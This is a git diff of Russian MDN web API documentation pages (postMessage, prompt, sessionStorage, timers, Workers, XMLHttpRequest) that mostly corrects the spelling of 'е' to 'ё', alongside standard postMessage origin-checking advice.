            Window.postMessage() - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешён доступ друг к другу только если страницы, которые их выполняли, передаются по одному  протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). window.postMessage() предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.
            
 
 
            При вызове метода window.postMessage() он вызывает {{domxref("MessageEvent")}} для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если window.postMessage() вызывается из обработчика событий ранее заданных ожидающих таймаутов). {{domxref("MessageEvent")}} имеет тип  message, data-свойство которого устанавливает значение первого аргумента в методе window.postMessage(), свойство origin  соответствует адресу основного документа в вызове window.postMessage во время  вызова window.postMessage(), свойство source указывает на окно, из которого window.postMessage() вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)
            
 
@@ -54,7 +54,7 @@ function receiveMessage(event)
 
 
            Если вы не ожидаете получения сообщения от других сайтов, не добавляйте обработчики событий message. Это гарантированный способ избежать проблем с безопасностью.
            
 
-
            Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя origin и возможно source свойства. Любой сайт (включая, например, http://evil.example.com) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлет вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.
            
+
            Если же вы хотите получать сообщения от других сайтов, то всегда необходимо идентифицировать отправителя, используя origin и возможно source свойства. Любой сайт (включая, например, http://evil.example.com) может отправлять сообщения любым другим, и у вас нет гарантии, что неизвестный отправитель не пошлёт вредоносные сообщения. Однако даже если отправитель известен, вам все равно необходимо всегда подтверждать синтаксис получаемого сообщения. Иначе, дыра в безопасности сайта, которому вы доверяете, может открыть дыру для межсайтового скриптинга на вашем сайте.
            
 
 
            Всегда конкретизируйте целевой первоисточник, а не просто *, когда вы используете postMessage для отправки данных другим окнам. Вредоносный сайт может изменить локацию окна без вашего ведома и затем перехватить данные, посылаемые с использованием postMessage.
            
 
diff --git a/files/ru/web/api/window/prompt/index.html b/files/ru/web/api/window/prompt/index.html
index 14c240a49a..643ae4685e 100644
--- a/files/ru/web/api/window/prompt/index.html
+++ b/files/ru/web/api/window/prompt/index.html
@@ -32,7 +32,7 @@ var sign = prompt();       //  открывается пустое окошко
 var sign = window.prompt('Are you feeling lucky'); // открывается окошко с текстом "Are you feeling lucky"
 var sign = window.prompt('Are you feeling lucky', 'sure'); // открывается окошко с текстом "Are you feeling lucky" и значением по умолчанию "sure"
            
 
-
            Когда пользователь нажимает кнопку OK, функция возвращает текст, введенный в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает null.
            
+
            Когда пользователь нажимает кнопку OK, функция возвращает текст, введённый в поле. Если пользователь нажимает кнопку OK, без ввода какого-либо текста - возвращается пустая строка. Если пользователь нажимает кнопку Cancel, то функция возвращает null.
            Вышеописанный prompt будет выглядеть следующим образом (в Chrome на OS X):
            
 
@@ -40,7 +40,7 @@ var sign = window.prompt('Are you feeling lucky', 'sure'); // открывает
 
 
            Примечания
            
 
-
            prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введенный пользователем в текстовое поле.
            
+
            prompt диалог содержит однострочное текстовое поле, кнопку Cancel и кнопку OK, и возвращает (возможно пустой) текст введённый пользователем в текстовое поле.
            The following text is shared between this article, DOM:window.confirm and DOM:window.alertДиалоговые окна являются модальными; они блокируют доступ пользователя к остальному интерфейсу программы, пока диалоговое окно не будет закрыто. По этой причине вы не должны злоупотреблять функциями, которые создают диалоговое окно (или модальное окно).
            
 
diff --git a/files/ru/web/api/window/requestanimationframe/index.html b/files/ru/web/api/window/requestanimationframe/index.html
index e0a03b8dad..ae4dfb12d5 100644
--- a/files/ru/web/api/window/requestanimationframe/index.html
+++ b/files/ru/web/api/window/requestanimationframe/index.html
@@ -51,7 +51,7 @@ window.requestAnimationFrame(step);
            Примечание
            
 
-
            В Edge версиях младше 17 и в Internet Explorer не надежно запускать requestAnimationFrame перед циклом рисования.
            
+
            В Edge версиях младше 17 и в Internet Explorer не надёжно запускать requestAnimationFrame перед циклом рисования.
            Спецификация
            
 
diff --git a/files/ru/web/api/window/self/index.html b/files/ru/web/api/window/self/index.html
index 327e29d143..b564cfc1d4 100644
--- a/files/ru/web/api/window/self/index.html
+++ b/files/ru/web/api/window/self/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/self
 ---
 
            {{ APIRef() }}
            
 
-
            Свойство Window.self доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект window (window.self) или переменную self. Преимущество доступа через переменную self заключается в том, что ее можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование self дает возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае self эквивалентна window.self), но также в воркерах (в случае воркера self эквивалентна {{domxref("WorkerGlobalScope.self")}}).
            
+
            Свойство Window.self доступно только для чтения и возвращает объект window в виде объекта {{domxref("WindowProxy")}}. Для доступа к данному свойству возможно использовать точечную нотацию и объект window (window.self) или переменную self. Преимущество доступа через переменную self заключается в том, что её можно использовать в окружениях, в которых нет window, например {{domxref("Worker", "Web Workers")}}. Использование self даёт возможность обращаться к глобальному объекту не только в окружениях где есть window (в таком случае self эквивалентна window.self), но также в воркерах (в случае воркера self эквивалентна {{domxref("WorkerGlobalScope.self")}}).
            Пример
            
 
diff --git a/files/ru/web/api/window/sessionstorage/index.html b/files/ru/web/api/window/sessionstorage/index.html
index 787b2f308d..720db502de 100644
--- a/files/ru/web/api/window/sessionstorage/index.html
+++ b/files/ru/web/api/window/sessionstorage/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/sessionStorage
 ---
 
            {{APIRef()}}
            
 
-
            Свойство sessionStorage позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохраненные в localStorage не имеют определенного времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остается активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, что отличается от поведения session cookies.
            
+
            Свойство sessionStorage позволяет получить доступ к объекту {{domxref("Storage")}} текущей сессии. Свойство sessionStorage очень похоже на свойство {{domxref("Window.localStorage")}}, единственное различие заключается в том, что все данные, сохранённые в localStorage не имеют определённого времени жизни, а данные в sessionStorage очищаются в момент окончания сессии текущий страницы. Сессия страницы остаётся активной все время пока окно браузера открыто и сохраняется между перезагрузками страниц. Открытие той же страницы в новом окне браузера или новой вкладке приводит к созданию новой сессии страницы, что отличается от поведения session cookies.
            Синтаксис
            
 
@@ -25,7 +25,7 @@ var data = sessionStorage.getItem('key');
            sessionStorage.setItem('myCat', 'Tom');
            
 
-
            Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение  текстового поля будет восстановлено. Таким образом ничего из введенного пользователем не потеряется даже в этом случае.
            
+
            Следующий пример автоматически сохраняет содержимое текстового поля. Если страница случайно будет обновлена значение  текстового поля будет восстановлено. Таким образом ничего из введённого пользователем не потеряется даже в этом случае.
            // Получаем ссылку на текстовое поле,
 // изменение которого будем отслеживать.
diff --git a/files/ru/web/api/window/unhandledrejection_event/index.html b/files/ru/web/api/window/unhandledrejection_event/index.html
index c32838dc9c..cd1996b7b2 100644
--- a/files/ru/web/api/window/unhandledrejection_event/index.html
+++ b/files/ru/web/api/window/unhandledrejection_event/index.html
@@ -4,7 +4,7 @@ slug: Web/API/Window/unhandledrejection_event
 translation_of: Web/API/Window/unhandledrejection_event
 original_slug: Web/Events/unhandledrejection
 ---
-
            Событие unhandledrejection происходит, когда {{jsxref("Promise")}} завершен с ошибкой, но на данную ошибку не установлен обработчик.
            
+
            Событие unhandledrejection происходит, когда {{jsxref("Promise")}} завершён с ошибкой, но на данную ошибку не установлен обработчик.
            
 
 
            
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
            
@@ -37,7 +37,7 @@ original_slug: Web/Events/unhandledrejection
 
 
            Inheritance
            
 
-
            Событие unhandledrejection реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определенные в данных интерфейсах.
            
+
            Событие unhandledrejection реализует {{domxref("PromiseRejectionEvent")}} интерфейс, который наследуется от {{domxref("Event")}}. Вы можете использовать свойства и методы, определённые в данных интерфейсах.
            {{InheritanceDiagram('','','', 'PromiseRejectionEvent')}}
            
 
diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
index 62d82bd693..049f842c4f 100644
--- a/files/ru/web/api/windoweventhandlers/onpopstate/index.html
+++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
@@ -38,7 +38,7 @@ history.back(); // alerts "location: http://example.com/example.html, state: nul
 history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
 
 
-
            Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для http://example.com/example.html) не имеет объекта события, связанного с ней, событие popstate все равно произойдет, когда мы активируем эту запись после второго вызова history.back().
            
+
            Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для http://example.com/example.html) не имеет объекта события, связанного с ней, событие popstate все равно произойдёт, когда мы активируем эту запись после второго вызова history.back().
            Спецификация
            
 
diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
index 28d58a52f1..b158668263 100644
--- a/files/ru/web/api/windoworworkerglobalscope/atob/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
@@ -117,7 +117,7 @@ var decodedData = window.atob(encodedData); // декодирует строку
 
 
            [2] Начиная с Firefox 27, atob() игнорирует все символы пробелов в аргументе, чтобы соответствовать последним  HTML5 спецификациям (смотри {{bug(711180)}}).
            
 
-
            [3] atob() теперь определен в  миксине {{domxref("WindowOrWorkerGlobalScope")}}.
            
+
            [3] atob() теперь определён в  миксине {{domxref("WindowOrWorkerGlobalScope")}}.
            Смотри также
            
 
diff --git a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html
index fdb51cfb15..3ccd17db68 100644
--- a/files/ru/web/api/windoworworkerglobalscope/btoa/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/btoa/index.html
@@ -6,7 +6,7 @@ original_slug: Web/API/WindowBase64/btoa
 ---
 
            {{APIRef("HTML DOM")}}
            
 
-
            Создает ASCII строку закодированную в base-64 из "строки" бинарных данных.
            
+
            Создаёт ASCII строку закодированную в base-64 из "строки" бинарных данных.
            Будьте внимательней этот способ не подходит для Unicode строк! Описание работы с Unicode в секции ниже.
            
 
diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
index 8d398013ce..aeedb7435c 100644
--- a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
@@ -17,14 +17,14 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout
 
            
  
            timeoutID
            
  
            
- 
            Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращен соответствующим вызовом setTimeout().
            
+ 
            Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращён соответствующим вызовом setTimeout().
            
 
            It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use clearTimeout() and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.
            Пример использования:
            
 
-
            Запустите приведенный ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щелкните страницу несколько раз за одну секунду, предупреждение появится только один раз.
            
+
            Запустите приведённый ниже скрипт в контакте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щёлкните страницу несколько раз за одну секунду, предупреждение появится только один раз.
            var alarm = {
   remind: function(aMessage) {
@@ -51,7 +51,7 @@ window.onclick = function() { alarm.setup(); };
 
 
            Примечания
            
 
-
            Передача недействительного ID clearTimeout() ни к чему не приведет. Исключение не создается.
            
+
            Передача недействительного ID clearTimeout() ни к чему не приведёт. Исключение не создается.
            
 
 
            Спецификация
            
 
diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
index d95c0b77ec..cffef51d3e 100644
--- a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
@@ -70,7 +70,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
  
            
-   
+   
@@ -81,7 +81,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
 
 
            Пример
            
 
-
            В нашем Fetch Request примере (см. Fetch Request live) мы создаем новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом fetch(). Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаем для него Object URL и передаем ее в элемент {{htmlelement("img")}}.
            
+
            В нашем Fetch Request примере (см. Fetch Request live) мы создаём новый объект {{domxref("Request")}} (запроса), используя релевантный конструктор, а затем получаем его вызовом fetch(). Так как запрашиваемый ресурс - изображение, для того, чтобы присвоить ему подходящий MIME тип и обработать должным образом, мы применяем к ответу метод {{domxref("Body.blob()")}}, после чего создаём для него Object URL и передаём её в элемент {{htmlelement("img")}}.
            var myImage = document.querySelector('img');
 
@@ -94,7 +94,7 @@ fetch(myRequest).then(function(response) {
   myImage.src = objectURL;
 });
            
 
-
            В нашем Fetch with init then Request примере (см. Fetch Request init live) мы делаем тоже самое, за исключением того, что передаем в качестве аргумента для fetch() объект init:
            
+
            В нашем Fetch with init then Request примере (см. Fetch Request init live) мы делаем тоже самое, за исключением того, что передаём в качестве аргумента для fetch() объект init:
            var myImage = document.querySelector('img');
 
diff --git a/files/ru/web/api/windoworworkerglobalscope/index.html b/files/ru/web/api/windoworworkerglobalscope/index.html
index 8f38321cb1..0a7bacf45b 100644
--- a/files/ru/web/api/windoworworkerglobalscope/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/index.html
@@ -47,7 +47,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope
  
            {{domxref("WindowOrWorkerGlobalScope.atob()")}}
            
  
            Декодирует строку данных, которая была закодирована с использованием кодировки base-64.
            
  
            {{domxref("WindowOrWorkerGlobalScope.btoa()")}}
            
- 
            Создает ASCII строку в кодировке base-64 из строки бинарных данных.
            
+ 
            Создаёт ASCII строку в кодировке base-64 из строки бинарных данных.
            
  
            {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
            
  
            Отменяет набор для повторного выполнения, используя {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
            
  
            {{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
            
diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
index aa4ba76d3a..c77c422bf1 100644
--- a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval
 ---
 
            {{APIRef("HTML DOM")}}
            
 
-
            Метод setInterval() предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом. Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный setInterval c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определен с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.
            
+
            Метод setInterval() предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом. Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный setInterval c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определён с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html
index 8c115986b0..cd1851db1e 100644
--- a/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html
+++ b/files/ru/web/api/windoworworkerglobalscope/settimeout/index.html
@@ -31,7 +31,7 @@ original_slug: Web/API/WindowTimers/setTimeout
 
 
            Пример
            
 
-
            В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранен id для clearTimeout. Таймаут также может быть отменен по нажатию на вторую кнопку.
            
+
            В следующем примере на веб странице создаются две простые кнопки, к которым привязываются действия setTimeout и clearTimeout. Нажатие на первую кнопку установит таймаут, который вызовет диалоговое окно через две секунды. Также будет сохранён id для clearTimeout. Таймаут также может быть отменён по нажатию на вторую кнопку.
            
 
 
            HTML Content
            
 
@@ -143,7 +143,7 @@ var a=[].slice.call(arguments,2);return f(function(){c.apply(this,a)},t)}
 
 
            Проблема с "this"
            
 
-
            Когда вы передаете метод в setTimeout() (или в любую другую функцию, если на то пошло), то вызов будет осуществлен с неправильным значением this. Эта проблема разъясняется детально в JavaScript reference.
            
+
            Когда вы передаёте метод в setTimeout() (или в любую другую функцию, если на то пошло), то вызов будет осуществлён с неправильным значением this. Эта проблема разъясняется детально в JavaScript reference.
            
 
 
            Объяснение
            
 
diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html
index 86db26c45f..c51c30e041 100644
--- a/files/ru/web/api/worker/onmessage/index.html
+++ b/files/ru/web/api/worker/onmessage/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Worker/onmessage
 ---
 
            {{APIRef("Web Workers API")}}
            
 
-
            Свойство onmessage  интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдет событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .
            
+
            Свойство onmessage  интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдёт событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .
            
 
 
            
 
            Примечание: Данные события доступны в свойстве data события {{event("message")}}.
            
diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html
index 47ea7ce99f..6523a0cb64 100644
--- a/files/ru/web/api/worker/postmessage/index.html
+++ b/files/ru/web/api/worker/postmessage/index.html
@@ -27,7 +27,7 @@ translation_of: Web/API/Worker/postMessage
  
            message
            
  
            Object передаваемый в worker. Будет содержаться в поле data описания события обработчика {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Это может быть любое значение или объект JavaScript, которые может обработать алгоритм структурированного клонирования, поддерживающий циклические ссылки.
            
  
            transfer {{optional_inline}}
            
- 
            Необязательный array с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в message) на которые передаются права собственности. Если право на объект передается, он становится непригодным (neutered) в контексте, из которого был отправлен, и становится доступным только в worker, которому он был отправлен.
            
+ 
            Необязательный array с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в message) на которые передаются права собственности. Если право на объект передаётся, он становится непригодным (neutered) в контексте, из которого был отправлен, и становится доступным только в worker, которому он был отправлен.
            
  
            Переданные (transferable) объекты могут быть экземплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} или {{domxref("ImageBitmap")}}. null не является допустимым значением для передачи прав.
            
 
 
@@ -60,7 +60,7 @@ second.onchange = function() {
 
 
            Пример с Transfer
            
 
-
            В этом примере показано дополнение Firefox, которое передает ArrayBuffer из основного потока в ChromeWorker, а затем ChromeWorker передает его обратно в основной поток.
            
+
            В этом примере показано дополнение Firefox, которое передаёт ArrayBuffer из основного потока в ChromeWorker, а затем ChromeWorker передаёт его обратно в основной поток.
            
 
 
            Код основного потока:
            
 
@@ -86,7 +86,7 @@ console.info('arrBuf.byteLength, ДО передачи:', arrBuf.byteLength);
 myWorker.postMessage(
     {
         aTopic: 'do_sendWorkerArrBuff',
-        aBuf: arrBuf // буфер который передается 3 строками ниже
+        aBuf: arrBuf // буфер который передаётся 3 строками ниже
     },
     [
         arrBuf // буфер созданный на строке 9
@@ -150,7 +150,7 @@ arrBuf.byteLength, ПОСЛЕ передачи: 0                            boo
 
 
            Совместимость с браузерами
            
 
-
+
 
 
            {{Compat("api.Worker.postMessage")}}
            
 
diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html
index 68c93a7b08..21682c32ce 100644
--- a/files/ru/web/api/worker/terminate/index.html
+++ b/files/ru/web/api/worker/terminate/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Worker/terminate
 ---
 
            {{APIRef("Web Workers API")}}
            
 
-
            Метод terminate() интерфейса {{domxref("Worker")}} немедленно завершает работу worker. Работнику не дается возможность завершить свою работу, он останавливается сразу.
            
+
            Метод terminate() интерфейса {{domxref("Worker")}} немедленно завершает работу worker. Работнику не даётся возможность завершить свою работу, он останавливается сразу.
            
 
 
            Синтаксис
            
 
@@ -55,7 +55,7 @@ myWorker.terminate();
 
 
            Совместимость с браузерами
            
 
-
+
 
 
            {{Compat("api.Worker.terminate")}}
            
 
diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html
index 625841b703..0c7a6fcbe2 100644
--- a/files/ru/web/api/worker/worker/index.html
+++ b/files/ru/web/api/worker/worker/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/Worker/Worker
 ---
 
            {{APIRef("Web Workers API")}}
            
 
-
            Конструктор Worker() создает объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (same-origin policy).
            
+
            Конструктор Worker() создаёт объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (same-origin policy).
            
 
 
            Если URL имеет недопустимый синтаксис или нарушена политика одного источника, то будет вызвано {{domxref("DOMException")}} типа SECURITY_ERR.
            
 
diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html
index ef51b14243..bb59c304c6 100644
--- a/files/ru/web/api/workerglobalscope/importscripts/index.html
+++ b/files/ru/web/api/workerglobalscope/importscripts/index.html
@@ -14,7 +14,7 @@ self.importScripts('foo.js', 'bar.js', ...);
            Параметры
            
 
-
            Разделенный запятыми объект {{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.
            
+
            Разделённый запятыми объект {{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.
            Возвращаемое значение
            
 
@@ -39,7 +39,7 @@ self.importScripts('foo.js', 'bar.js', ...);
            Пример
            
 
-
            Если вы хотите использовать некоторую функциональность, определенную файлом foo.js, необходимо сделать следующее:
            
+
            Если вы хотите использовать некоторую функциональность, определённую файлом foo.js, необходимо сделать следующее:
            importScripts('foo.js');
            
 
diff --git a/files/ru/web/api/xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/index.html
index 8ad7841fec..ad4b1b2090 100644
--- a/files/ru/web/api/xmlhttprequest/index.html
+++ b/files/ru/web/api/xmlhttprequest/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/XMLHttpRequest
 
 
            XMLHttpRequest это API, который предоставляет клиенту функциональность для обмена данными между клиентом и сервером. Данный API предоставляет простой способ получения данных по ссылке без перезагрузки страницы. Это позволяет обновлять только часть веб-страницы не прерывая пользователя.  XMLHttpRequest используется в AJAX запросах и особенно в single-page приложениях.
            
 
-
            XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он стандартизирован WHATWG. Несмотря на свое название, XMLHttpRequest может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо HTTP (включая file и ftp).
            
+
            XMLHttpRequest изначально был разработан Microsoft и позже заимствован Mozilla, Apple, и Google. Сейчас он стандартизирован WHATWG. Несмотря на своё название, XMLHttpRequest может быть использован для получения любых типов данных, не только XML, и поддерживает протоколы помимо HTTP (включая file и ftp).
            Чтобы начать работать с XMLHttpRequest, выполните этот код:
            
 
@@ -92,7 +92,7 @@ translation_of: Web/API/XMLHttpRequest
    
@@ -113,7 +113,7 @@ translation_of: Web/API/XMLHttpRequest
       
-       
+       
@@ -143,13 +143,13 @@ translation_of: Web/API/XMLHttpRequest
    
-   
+   
@@ -181,7 +181,7 @@ translation_of: Web/API/XMLHttpRequest
       
-       
+       
@@ -240,7 +240,7 @@ translation_of: Web/API/XMLHttpRequest
    
@@ -339,9 +339,9 @@ translation_of: Web/API/XMLHttpRequest
 
 
            XMLHttpRequest()
            
 
-
            Конструктор создает объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.
            
+
            Конструктор создаёт объект XMLHttpRequest. Он должен быть вызван перед обращением к любому методу класса.
            
 
-
            Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри Bug 692677). Установка флага mozAnon в значение true создает сущность AnonXMLHttpRequest() описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).
            
+
            Gecko/Firefox 16 добавляет нестандартные параметры в конструктор, для лучшего взаимодействия с режимом инкогнито, (смотри Bug 692677). Установка флага mozAnon в значение true создаёт сущность AnonXMLHttpRequest() описанную в XMLHttpRequest спецификации, но не реализованную не в одном из браузеров (информация сентября 2012).
            XMLHttpRequest (
   JSObject objParameters
@@ -354,7 +354,7 @@ translation_of: Web/API/XMLHttpRequest
  
            Вы можете использовать два флага:
  
            
   
            mozAnon
            
-  
            Boolean: Использование этого флага уберет из запроса заголовки origin, и user credentials. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.
            
+  
            Boolean: Использование этого флага уберёт из запроса заголовки origin, и user credentials. Кроме этого, куки не будут отправлены в запросе, если только они не будут добавлены к запросу специально, через метод setRequestHeader.
            
   
            mozSystem
            
   
            Boolean: Если выставить этот флаг в значение true то это позволит делать cross-доменные запросы без необходимости получения специальных заголовков со стороны сервера (CORS). Для использования этого флага необходимо использовать дополнительный флаг mozAnon: true, поскольку для отправки запроса на другой домен, нельзя использовать куки и креды пользователя. Этот флаг работает только с привилегированными (одобренными) приложениями; он не сработает с произвольно загруженными страницами.
            
  
            
@@ -380,7 +380,7 @@ translation_of: Web/API/XMLHttpRequest
 
            Возвращает значение указанного заголовка из полученного ответа, или null в случает если ответ не получен, или такого заголовка в ответе нет. Возвращаемая строка имеет кодировку UTF.
            
 
 
            
-
            Примечание: Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделенную запятой и пробелом.
            
+
            Примечание: Если в ответе есть заголовки с одни названием, то значения этих заголовков будут объеденены в одну строку, разделённую запятой и пробелом.
            
 
            
 
 
            open()
            
@@ -406,7 +406,7 @@ translation_of: Web/API/XMLHttpRequest
  
            url
            
  
            URL адрес, на который будет отправлено сообщение.
            
  
            async
            
- 
            Необязательный boolean параметр, по умолчанию равный true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно false, метод send() вернет ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определенных  обработчиков событий. В случае, если используется отправка multipart запроса, то этот атрибут должен быть true, или будет выброшено исключение.
+ 
            Необязательный boolean параметр, по умолчанию равный true. Определяет, будет ли запрос отправлен асинхронно. Если значение равно false, метод send() вернёт ответ в общем потоке работы приложения (иначе говоря, приложение зависнет на некоторое время), в противном случае, ответ может быть получен только при помощи определённых  обработчиков событий. В случае, если используется отправка multipart запроса, то этот атрибут должен быть true, или будет выброшено исключение.
  
            Примечание: Начиная с Gecko 30.0 {{ geckoRelease("30.0") }}, синхронные запросы объявлены как deprecated, в силу того что все пользователи недовольны тем, что приложение "зависает".
            
  
            
  
            user
            
@@ -423,13 +423,13 @@ translation_of: Web/API/XMLHttpRequest
 
 
            send()
            
 
-
            Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернет значение сразу после того как метод вызван.
            
+
            Отправляет запрос. Если запрос асинхронный (а по умолчанию это так), этот метод вернёт значение сразу после того как метод вызван.
            
 
 
            
-
